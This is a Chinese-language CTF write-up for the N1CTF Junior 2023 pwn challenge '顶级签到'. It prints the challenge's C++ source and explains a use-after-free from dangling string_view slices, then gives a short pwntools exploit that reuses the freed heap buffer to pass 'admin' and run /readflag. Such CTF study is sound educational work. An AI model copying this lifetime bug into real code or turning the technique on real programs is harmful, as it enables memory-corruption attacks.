N1CTF Junior 2023 pwn 顶级签到 赛题复现

前言

之前还不会C++的时候对着源码冥思苦想,也没看出来哪有问题。现在似乎有了一点头绪。

源码分析

因为题目给了源码所以直接看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include <iostream>
#include <string>
#include <vector>
#include <exception>
#include <string_view>
#include <unordered_map>
#include <functional>
using namespace std;

string getInput()
{
string res;
getline(cin, res);
if (res.size() > 64)
throw std::runtime_error("Invalid input");
while (!res.empty() && res.back() == '\n')
res.pop_back();
return res;
}
bool allow_admin = false;
auto splitToken(string_view str, string_view delim)
{
if (!allow_admin && str.find("admin") != str.npos)
throw std::invalid_argument("Access denied");
vector<string_view> res;
size_t prev = 0, pos = 0;
do
{
pos = str.find(delim, prev);
if (pos == std::string::npos)
{
pos = str.length();
}
res.push_back(str.substr(prev, pos - prev));
prev = pos + delim.length();
} while (pos < str.length() && prev < str.length());
return res;
}
auto parseUser()
{
auto tok_ring = splitToken(getInput(), ":");
if (tok_ring.size() != 2)
throw std::invalid_argument("Bad login token");
if (tok_ring[0].size() < 4 || tok_ring[0].size() > 16)
throw std::invalid_argument("Bad login name");
if (tok_ring[1].size() > 32)
throw std::invalid_argument("Bad login password");
return make_pair(tok_ring[0], tok_ring[1]);
}
const unordered_map<string_view, function<void(string_view)>> handle_admin = {
{"admin", [](auto)
{
system("/readflag");
}},
{"?", [](auto)
{
cout << "Enjoy :)" << endl;
cout << "https://www.bilibili.com/video/BV1Nx411S7VG" << endl;
}}};
constexpr auto handle_guest = [](auto)
{
cout << "Hello guest!" << endl;
};
int main()
{
auto [username, password] = parseUser();
cout << "Enter 'login' to continue, or enter 'quit' to cancel." << endl;
auto choice = getInput();
if (choice == "quit")
{
cout << "bye" << endl;
return 0;
}
if (auto it = handle_admin.find(username); it != handle_admin.end())
{
it->second(password);
}
else
{
handle_guest(password);
}
}

代码粗看似乎没有逻辑上的问题,但是注意到使用了string_view,这是一个指向字符串的类型,自己并不拥有字符串数据,因此生命周期必须小于等于拥有的字符串,否则就会造成UAF。我们注意到parseUser函数返回pair<string_view,string_view>类型,而string_view对应的字符串在splitToken函数处返回,在main函数中显然已被析构。因此在main函数中得到的username, password构成UAF。

利用思路

在main函数中,只要choice不为”quit”就视为login,因此我们可以使choice字符串覆盖原先的username:password字符串,实现readflag。

对于较短字符串来说,因为SSO(Short String Optimization)机制(这篇回答给出了比较详细的解释),字符串被存储在对象内部,无法完成漏洞利用。

对于较长字符串而言,std::basic_string会在堆上开辟空间存储字符串,因此很容易想到使第二次输入的字符串长度等于第一次,从而复用第一次开辟的堆空间。需要注意的是,username是string_view类型,存储了字符串切片的长度,因此在第一次输入时,username必须是5个字符长度。

exp

1
2
3
4
5
from pwn import *
p=process('./chall')
p.sendline(b'aaaaa:'+b'a'*32)
p.sendlineafter(b'cancel',b'admin'+b'a'*33)
p.interactive()